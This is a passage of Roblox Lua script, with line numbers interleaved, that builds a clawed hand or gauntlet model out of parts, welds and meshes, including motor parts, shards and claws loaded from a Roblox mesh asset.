ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
710
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
711
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
712
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
713
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
714
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
715
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
716
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
717
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
718
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
719
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
720
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
721
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
722
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
723
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
724
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
725
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
726
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
727
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
728
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
729
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
730
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
731
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
732
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
733
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
734
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
735
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
736
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
737
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
738
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
739
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
740
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
741
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
742
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
743
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
744
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
745
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
746
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
747
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
748
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
749
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
750
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
751
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
752
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
753
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
754
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
755
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
756
Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
757
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
758
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
759
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
760
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
761
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
762
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
763
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
764
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
765
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
766
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
767
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
768
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
769
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
770
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
771
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
772
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
773
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
774
Part = CreatePart2(m, Enum.Material.Granite, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
775
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
776
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
777
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
778
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
779
CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
780
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
781
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
782
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
783
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
784
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
785
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
786
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
787
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
788
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
789
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
790
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
791
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
792
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
793
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
794
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
795
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
796
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
797
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
798
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
799
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
800
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
801
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
802
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
803
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
804
MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
805
MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
806
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
807
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
808
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
809
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
810
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
811
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
812
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
813
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
814
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
815
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
816
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
817
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
818
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
819
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
820
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
821
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
822
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
823
ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
824
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
825
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
826
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
827
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
828
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
829
MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
830
MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
831
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
832
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
833
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
834
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
835
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
836
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
837
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
838
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
839
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
840
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
841
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
842
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
843
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
844
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
845
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
846
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
847
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
848
ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
849
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
850
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
851
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
852
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
853
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
854
MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
855
MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
856
